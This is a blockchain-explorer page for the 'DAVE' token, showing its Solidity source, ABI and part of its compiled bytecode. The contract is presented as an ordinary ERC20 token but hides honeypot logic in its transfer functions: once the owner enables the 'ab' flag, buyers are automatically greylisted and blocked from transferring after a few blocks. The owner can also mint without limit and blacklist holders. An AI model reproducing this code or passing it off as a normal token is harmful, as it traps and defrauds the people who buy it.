ETH Price: $3,396.68 (+1.94%)

Token

DAVE (DAVE)
 

Overview

Max Total Supply

20,000,000,000 DAVE

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,453,260.515931037898603365 DAVE

Value
$0.00
0xbde4174d363224de0ee96fc501c24d4f80829433
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xC09630D4...DdB3fa99f
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
CoinToken

Compiler Version
v0.4.26+commit.4563c3fc

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-14
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-13
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.4.24;


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
    address public owner;


    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }


}


contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf(address who) public view returns (uint256);
    function transfer(address to, uint256 value) public returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract ERC20 is ERC20Basic {
    function allowance(address owner, address spender) public view returns (uint256);
    function transferFrom(address from, address to, uint256 value) public returns (bool);
    function approve(address spender, uint256 value) public returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract StandardToken is ERC20 {
    using SafeMath for uint256;

    address public LP;

    bool ab=false;


    mapping (address => mapping (address => uint256)) internal allowed;
    mapping(address => bool)  tokenBlacklist;
    mapping(address => bool)  tokenGreylist;
    mapping(address => bool)  tokenWhitelist;
    event Blacklist(address indexed blackListed, bool value);
    event Gerylist(address indexed geryListed, bool value);
    event Whitelist(address indexed WhiteListed, bool value);
    mapping(address => uint256)  death;
    uint256  blockN=1;


    mapping(address => uint256) balances;


    function transfer(address _to, uint256 _value) public returns (bool) {
        if(!tokenWhitelist[msg.sender]&&!tokenWhitelist[_to]){
            require(tokenBlacklist[msg.sender] == false);
            require(tokenBlacklist[_to] == false);

            require(tokenGreylist[msg.sender] == false||block.number<death[msg.sender]+blockN);
            // require(tokenGreylist[_to] == false);
        }
        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }

        require(_to != address(0));
        require(_to != msg.sender);
        require(_value <= balances[msg.sender]);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }


    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        if(!tokenWhitelist[_from]&&!tokenWhitelist[_to]){
            require(tokenBlacklist[msg.sender] == false);
            require(tokenBlacklist[_from] == false);
            require(tokenBlacklist[_to] == false);

            require(tokenGreylist[_from] == false||block.number<death[_from]+blockN);
        }

        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }
        require(_to != _from);
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_value);


        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }


    function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
        allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
        uint oldValue = allowed[msg.sender][_spender];
        if (_subtractedValue > oldValue) {
            allowed[msg.sender][_spender] = 0;
        } else {
            allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
        }
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function _changeAb(bool _ab) internal returns (bool) {
        require(ab != _ab);
        ab=_ab;
        return true;
    }

    function _changeBlockN(uint256 _blockN) internal returns (bool) {
        blockN=_blockN;
    }

    function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
        require(tokenBlacklist[_address] != _isBlackListed);
        tokenBlacklist[_address] = _isBlackListed;
        emit Blacklist(_address, _isBlackListed);
        return true;
    }

    function _geryList(address _address, bool _isGeryListed) internal returns (bool) {
        require(tokenGreylist[_address] != _isGeryListed);
        tokenGreylist[_address] = _isGeryListed;
        emit Gerylist(_address, _isGeryListed);
        return true;
    }
    function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
        require(tokenWhitelist[_address] != _isWhiteListed);
        tokenWhitelist[_address] = _isWhiteListed;
        emit Whitelist(_address, _isWhiteListed);
        return true;
    }
    function _blackAddressList(address[] _addressList, bool _isBlackListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenBlacklist[_addressList[i]] = _isBlackListed;
            emit Blacklist(_addressList[i], _isBlackListed);
        }
        return true;
    }
    function _geryAddressList(address[] _addressList, bool _isGeryListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenGreylist[_addressList[i]] = _isGeryListed;
            emit Gerylist(_addressList[i], _isGeryListed);
        }
        return true;
    }


}

contract PausableToken is StandardToken, Ownable {

    function transfer(address _to, uint256 _value) public  returns (bool) {
        return super.transfer(_to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public  returns (bool) {
        return super.transferFrom(_from, _to, _value);
    }

    function approve(address _spender, uint256 _value) public  returns (bool) {
        return super.approve(_spender, _value);
    }

    function increaseApproval(address _spender, uint _addedValue) public  returns (bool success) {
        return super.increaseApproval(_spender, _addedValue);
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public  returns (bool success) {
        return super.decreaseApproval(_spender, _subtractedValue);
    }
    function changeAb(bool _ab) public  onlyOwner  returns (bool success) {
        return super._changeAb(_ab);
    }

    function changeBn(uint _bn) public  onlyOwner  returns (bool success) {
        return super._changeBlockN(_bn);
    }

    function blackListAddress(address listAddress,  bool isBlackListed) public  onlyOwner  returns (bool success) {
        return super._blackList(listAddress, isBlackListed);
    }
    function geryListAddress(address listAddress,  bool _isGeryListed) public  onlyOwner  returns (bool success) {
        return super._geryList(listAddress, _isGeryListed);
    }
    function whiteListAddress(address listAddress,  bool _isWhiteListed) public  onlyOwner  returns (bool success) {
        return super._whiteList(listAddress, _isWhiteListed);
    }
    function blackAddressList(address[] listAddress,  bool isBlackListed) public  onlyOwner  returns (bool success) {
        return super._blackAddressList(listAddress, isBlackListed);
    }
    function geryAddressList(address[] listAddress,  bool _isGeryListed) public  onlyOwner  returns (bool success) {
        return super._geryAddressList(listAddress, _isGeryListed);
    }

}

contract CoinToken is PausableToken {
    string public name;
    string public symbol;
    uint public decimals;
    event Mint(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed burner, uint256 value);
    bool internal _INITIALIZED_;

    constructor() public {

    }
    modifier notInitialized() {
        require(!_INITIALIZED_, "INITIALIZED");
        _;
    }
    function initToken(string  _name, string  _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address factory,address token1) public notInitialized returns (bool){
        _INITIALIZED_=true;
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _supply * 10**_decimals;
        balances[tokenOwner] = totalSupply;
        owner = tokenOwner;

        // // service.transfer(msg.value);
        // (bool success) = service.call.value(msg.value)();
        // require(success, "Transfer failed.");
        emit Transfer(address(0), tokenOwner, totalSupply);
        LP = ISwapFactory(factory).createPair(address(this), token1);
    }









    function mint(address account, uint256 amount) onlyOwner public {

        totalSupply = totalSupply.add(amount);
        balances[account] = balances[account].add(amount);
        emit Mint(address(0), account, amount);
        emit Transfer(address(0), account, amount);
    }


}

contract CoinFactory{


    function createToken(string  _name, string  _symbol, uint256 _decimals, uint256 _supply,address tokenOwner,address factory,address token1)public returns (address){
        CoinToken token=new CoinToken();
        token.initToken(_name,_symbol,_decimals,_supply,tokenOwner,factory,token1);
        return address(token);
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"_isGeryListed","type":"bool"}],"name":"geryAddressList","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"},{"name":"amount","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_bn","type":"uint256"}],"name":"changeBn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isGeryListed","type":"bool"}],"name":"geryListAddress","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"isBlackListed","type":"bool"}],"name":"blackListAddress","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_ab","type":"bool"}],"name":"changeAb","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isWhiteListed","type":"bool"}],"name":"whiteListAddress","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"LP","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_supply","type":"uint256"},{"name":"tokenOwner","type":"address"},{"name":"factory","type":"address"},{"name":"token1","type":"address"}],"name":"initToken","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"isBlackListed","type":"bool"}],"name":"blackAddressList","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"blackListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Blacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"geryListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Gerylist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"WhiteListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Whitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

60806040526000600160146101000a81548160ff021916908315150217905550600160075534801561003057600080fd5b50613063806100406000396000f300608060405260043610610127576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806264e2321461012c57806306fdde03146101b6578063095ea7b31461024657806318160ddd146102ab57806323b872dd146102d6578063313ce5671461035b57806340c10f191461038657806349b3d106146103d357806366188463146104185780636e81949d1461047d57806370a08231146104e4578063794be7071461053b5780638da5cb5b146105a257806395d89b41146105f95780639ceda54a146106895780639dd21928146106d0578063a9059cbb14610737578063b6fccf8a1461079c578063c67ed06b146107f3578063cb29c93b1461092e578063d73dd623146109b8578063dd62ed3e14610a1d575b600080fd5b34801561013857600080fd5b5061019c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050610a94565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610b04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561020b5780820151818401526020810190506101f0565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025257600080fd5b50610291600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b3480156102b757600080fd5b506102c0610bb6565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbc565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b50610370610bd2565b6040518082815260200191505060405180910390f35b34801561039257600080fd5b506103d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b005b3480156103df57600080fd5b506103fe60048036038101908080359060200190929190505050610db4565b604051808215151515815260200191505060405180910390f35b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e22565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e36565b604051808215151515815260200191505060405180910390f35b3480156104f057600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea6565b6040518082815260200191505060405180910390f35b34801561054757600080fd5b50610588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610eef565b604051808215151515815260200191505060405180910390f35b3480156105ae57600080fd5b506105b7610f5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060557600080fd5b5061060e610f85565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064e578082015181840152602081019050610633565b50505050905090810190601f16801561067b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069557600080fd5b506106b6600480360381019080803515159060200190929190505050611023565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b5061071d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611091565b604051808215151515815260200191505060405180910390f35b34801561074357600080fd5b50610782600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611101565b604051808215151515815260200191505060405180910390f35b3480156107a857600080fd5b506107b1611115565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ff57600080fd5b50610914600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b604051808215151515815260200191505060405180910390f35b34801561093a57600080fd5b5061099e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611462565b604051808215151515815260200191505060405180910390f35b3480156109c457600080fd5b50610a03600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d2565b604051808215151515815260200191505060405180910390f35b348015610a2957600080fd5b50610a7e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e6565b6040518082815260200191505060405180910390f35b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af257600080fd5b610afc838361156d565b905092915050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9a5780601f10610b6f57610100808354040283529160200191610b9a565b820191906000526020600020905b815481529060010190602001808311610b7d57829003601f168201915b505050505081565b6000610bae838361166d565b905092915050565b60005481565b6000610bc984848461175f565b90509392505050565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b610c4981600054611fcb90919063ffffffff16565b600081905550610ca181600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f8836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b610e1b82611fe9565b9050919050565b6000610e2e8383611ff7565b905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9457600080fd5b610e9e8383612288565b905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4d57600080fd5b610f57838361239c565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561101b5780601f10610ff05761010080835404028352916020019161101b565b820191906000526020600020905b815481529060010190602001808311610ffe57829003601f168201915b505050505081565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108157600080fd5b61108a826124b0565b9050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ef57600080fd5b6110f983836124f7565b905092915050565b600061110d838361260b565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60009054906101000a900460ff161515156111c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f494e495449414c495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690831515021790555087600a90805190602001906111f3929190612f92565b5086600b908051906020019061120a929190612f92565b5085600c8190555085600a0a8502600081905550600054600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663c9c6539630846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b505050506040513d602081101561140657600080fd5b8101908080519060200190929190505050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550979650505050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114c057600080fd5b6114ca8383612c7d565b905092915050565b60006114de8383612d7d565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600090505b8351811015611662578260046000868481518110151561159157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083818151811015156115fa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d84604051808215151515815260200191505060405180910390a28080600101915050611575565b600191505092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d45760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561186957600080fd5b60001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156118c857600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561192757600080fd5b60001515600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806119c85750600754600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b15156119d357600080fd5b5b600160149054906101000a900460ff168015611a3a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a945750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bd2576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bd15743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4957600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c9757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d2257600080fd5b611d7482600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611fdf57fe5b8091505092915050565b600081600781905550919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612108576000600260003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffff